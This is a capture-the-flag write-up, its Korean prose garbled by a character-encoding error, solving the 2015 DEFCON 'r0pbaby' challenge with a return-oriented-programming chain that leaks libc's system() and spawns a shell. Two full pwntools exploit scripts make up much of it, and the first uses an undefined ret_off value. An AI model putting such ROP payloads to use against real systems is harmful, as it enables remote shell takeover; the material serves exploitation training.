2015 DEFCON CTF ๋ฌธ์ r0pbaby - Baby's First 1
ํ์ผ ์ด๋ฆ๋ถํฐ rop(Return Oriented Programming) ๊ธฐ๋ฒ์ ์์ํฉ๋๋ค.
๋จผ์ ์คํ์ ์์ผ๋ณผ๊น์
<libc, ํจ์>์ ์ฃผ์๋ฅผ ๋ฐ์ ์ ์๊ณ , ์คํ์ ์ ๋ ฅ์ ํ ์ ์๋ค์.
gdb์์ ์คํ ํ ๊ณผ์ฐ ์ฌ๋ฐ๋ฅธ ์ฃผ์์ธ์ง ์์๋ด ์๋ค.
ํ๋ก๊ทธ๋จ์ ํตํด ์๊ฒ ๋ libc ์ฃผ์๋ ํฌ์ธํฐ ์ฃผ์๋ก ๋ณด์ ๋๋ค.
ํฌ์ธํฐ ์ฃผ์๋ฅผ ๊ฐ์ง๊ณ offset ์์ ์ ํ๊ธฐ์๋ ๋ฌด๋ฆฌ๊ฐ ์๊ธฐ์, 1๋ฒ ๋ฉ๋ด๋ ์ ์ธํ๊ณ ๋ฌธ์ ๋ฅผ ํ์ด๋๊ฐ์ผ ๊ฒ ๋ค์.
๊ทธ๋ ๋ค๋ฉด 2๋ฒ ๋ฉ๋ด, ํจ์์ ์ฃผ์๋ ์ด๋จ๊น์?
๋์ผํฉ๋๋ค.
2๋ฒ ๋ฉ๋ด๋ ๋ฏฟ๊ณ ์ฌ์ฉํด๋ ๋๊ฒ ๋ค์.
๋ค์์ผ๋ก 3๋ฒ ๋ฉ๋ด๋ฅผ ์ดํด๋ณผ๊น์.
3๋ฒ ๋ฉ๋ด์ breakpoint๋ฅผ ๊ฑธ์ด์ฃผ๊ณ ์ญ ๋ด๋ ค๊ฐ๋ค๋ณด๋ฉด, memcpy๊ฐ ๋์ต๋๋ค.
rbp๋ถํฐ ๋ฐ๋ก ์ ๋ ฅ์ด ๋ค์ด๊ฐ์ ์ ์ ์์ต๋๋ค.
์ค์ ๋ก, ida๋ก ๊น๋ณด๋ฉด rbp์ ๋ฐ๋ก ์ ๋ ฅ๋๋ ๋ชจ์ต์ ์ฝ๊ฒ ํ์ธํ ์ ์์ฃ .
๋ํ, ๊ณ์ํด์ ๋ณด๋ฉด ๋ณ๋ค๋ฅธ dummy์์ด ๋ฐ๋ก ret addr๊ฐ ์์ต๋๋ค.
์ด์ payload ๊ตฌ์ฑ์ ํด๋ด ์๋ค.
dummy(8) | pr(pop rdi, ret) | "/bin/sh" pointer | system func |
pr์ system ํจ์์ ์ธ์๋ฅผ ์ ๋ฌํ pop rdi์ ํจ์๋ฅผ ํธ์ถํ ret๋ก ๊ตฌ์ฑ๋ ๊ฐ์ ฏ์ ๋๋ค.
64bit ํ๋ก๊ทธ๋จ์ ์คํ์ ํตํด ํจ์์ธ์๋ฅผ ์ ๋ฌํ๋ 32bitํ๋ก๊ทธ๋จ๊ณผ๋ ๋ฌ๋ฆฌ,
rdi, rsi, rdx ... ์ ์์ผ๋ก ์ธ์๋ฅผ ์ ๋ฌํฉ๋๋ค.
system("/bin/sh")๋ฅผ ์ํด
์ด์ ๊ฐ ์ธ์(pr, "bin/sh")์ offset์ ๊ตฌํด์ผ๊ฒ ๋ค์.
* offset์ ๊ตฌํ๋ ์ด์ ๋ ํด๋น ํ๋ก๊ทธ๋จ์ด aslr์ด ๊ฑธ๋ ค์๊ธฐ ๋๋ฌธ์ด์ฃ .
pr ๊ณผ binsh๋ ๊ฐ๊ฐ rp++์ strings๋ช ๋ น์ด๋ฅผ ํตํด ๊ตฌํด๋ดค์ต๋๋ค.
1) pr
-r ์ต์ ์ ๊ฐ์ ฏ์ ๋ช ๋ น์ ์ต๋ ํฌ๊ธฐ(2)๋ฅผ ์๋ฏธํฉ๋๋ค.
์๋๋ก ๋ด๋ ค๋ณด๋ฉด ์๋ง์ "pop rdi ; ret" ๊ฐ์ ฏ์ด ๋์ต๋๋ค.
์ด ์ค ์๋ฌด๊ฑฐ๋ ํ๋๋ฅผ ๊ณจ๋ผ ์ฌ์ฉํฉ๋๋ค.
2) binsh
binsh๋ ๋ฆฌ๋ ์ค ๊ธฐ๋ณธ ๋ช ๋ น์ด strings๋ฅผ ์ด์ฉํด๋ด ์๋ค.
-tx ์ต์ ์ ๋ฌธ์์ด์ ์์น๋ฅผ 16์ง์๋ก ๋ณด์ฌ์ค๋๋ค.
์ด๋ ๊ฒ ํ์ํ offset๋ค์ ๋ค ์ฐพ์์ต๋๋ค.
์ด์ pwntools๋ฅผ ์ด์ฉํด์ exploitํด๋ด ์๋ค.
#! /usr/bin/python3
from pwn import *
filename = "./r0pbaby"
p = process(filename)
libc = ELF("./libc.so.6")
# offsets of frags
binsh_off = 0x1d8698
pr_off = 0x0012d7ad
'''
Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
'''
# get system address(static)
p.recv()
p.sendline(b'2')
p.recv() # Enter symbol:
p.sendline(b"system")
p.recvuntil(b"Symbol system: 0x")
tmp = int(p.recvline(), 16)
system_addr = tmp
log.info("system function address : 0x%x" % system_addr)
p.recv()
# calculate libc_main, binsh, pr address(static)
libc_main_addr = system_addr - libc.symbols['system']
binsh_addr = libc_main_addr + binsh_off
pr_addr = libc_main_addr + pr_off
ret_addr = libc_main_addr + ret_off
log.info("libc main address : 0x%x" % libc_main_addr)
log.info("\"/bin/sh\" address : 0x%x" % binsh_addr)
log.info("\"pop edi ; ret\" address : 0x%x" % pr_addr)
log.info("\"ret\" address : 0x%x" % ret_addr)
# attack
# dummy(8) | pr(8) | binsh(8) | system(8)
payload = b'A'*8
payload += p64(pr_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendline(b'3')
p.recv()
p.sendline(str(len(payload) + 1).encode('utf-8'))
p.sendline(payload)
p.recv()
p.sendline(b'4')
p.recv()
p.interactive()
์ด์ ์คํ์ ์์ผ๋ณด๋ฉด..!!
๋๋ ์ฌ๋๋, ์๋๋ ์ฌ๋๋ ์์ํ ๋ฐ์.
์๋์ ๋ง์ด ๋๋ผ์ จ์ฃ ? ์ ๋ ๋๋..
์ค๊ฐ์ค๊ฐ pause๋ฅผ ๊ฑธ๊ณ gdb๋ก ๋ฏ์ด๋ณด๋, ์ ์คํ๋๋ค do_system์์ ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค..
์๊ทธ๋ฌ์ง..? ํ๊ณ ์ฐพ์๋ณด๋
Ubuntu 18.04๋ถํฐ ํจ์จ์์ ๋ฌธ์ ๋ก stack์ top, ์ฆ rsp๋ฅผ 16์ ๋ฐฐ์๋ก ๋ง์ถฐ์ฃผ์ด์ผ ํ๋ค๋ค์..
์ฐธ์กฐ : https://hackyboiz.github.io/2020/12/06/fabu1ous/x64-stack-alignment/
์์ธํ ์ค๋ช ์ ์ ๋ณด๋ฅผ ๋ชจ์ ๋์ค์ ํฌ์คํ ํด๋ด์ผ๊ฒ ๋ค์.
๊ทธ๋ฆฌํ์ฌ payload์ ๋ ๋ฒ์งธ pr์ rsp๋ฅผ 16์ ๋ฐฐ์๋ก ๋ง์ถฐ์ฃผ์ด์ผ ํฉ๋๋ค.
๊ทธ๋ผ dummy์ pr ์ฌ์ด์ return ๊ฐ์ ฏ์ ์ถ๊ฐํ์ฌ ๋ฐ์ด๋ผ์ ์๊ฒ ์ต๋๋ค.
์๋ฐํ ๋งํ๋ฉด ๊นจ์ง stack align์ ret๋ฅผ ํตํด ๋ฏธ๋ฆฌ ๊นจ๊ณ ์กฐ๋ฆฝํด์ฃผ๋..
dummy(8) | ret | pr(pop rdi, ret) | "/bin/sh" pointer | system func |
๋ค์ ๊ณต๊ฒฉ ์ฝ๋๋ฅผ ์์ ํ์ฌ ์คํ์์ผ ๋ด ์๋ค.
#! /usr/bin/python3
from pwn import *
filename = "./r0pbaby"
p = process(filename)
libc = ELF("./libc.so.6")
# offsets of frags
binsh_off = 0x1d8698
pr_off = 0x0012d7ad
ret_off = 0x001b403e
'''
Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
'''
# get system address(static)
p.recv()
p.sendline(b'2')
p.recv() # Enter symbol:
p.sendline(b"system")
p.recvuntil(b"Symbol system: 0x")
tmp = int(p.recvline(), 16)
system_addr = tmp
log.info("system function address : 0x%x" % system_addr)
p.recv()
# calculate libc_main, binsh, pr, ret address(static)
libc_main_addr = system_addr - libc.symbols['system']
binsh_addr = libc_main_addr + binsh_off
pr_addr = libc_main_addr + pr_off
ret_addr = libc_main_addr + ret_off
log.info("libc main address : 0x%x" % libc_main_addr)
log.info("\"/bin/sh\" address : 0x%x" % binsh_addr)
log.info("\"pop edi ; ret\" address : 0x%x" % pr_addr)
log.info("\"ret\" address : 0x%x" % ret_addr)
# attack
# dummy(8) | ret(8) | pr(8) | binsh(8) | system(8)
payload = b'A'*8
payload += p64(ret_addr)
payload += p64(pr_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendline(b'3')
p.recv()
p.sendline(str(len(payload) + 1).encode('utf-8'))
p.sendline(payload)
p.recv()
p.sendline(b'4')
p.recv()
p.interactive()
์ฑ๊ณต์ ์ผ๋ก ์์ด ๋ฐ์ง๋๋ค.
๋งค์ฐ ๊ฐ๋จํ์ง๋ง ๋ณต์กํ(movaps...) r0pbaby๋ฌธ์ ์์ต๋๋ค.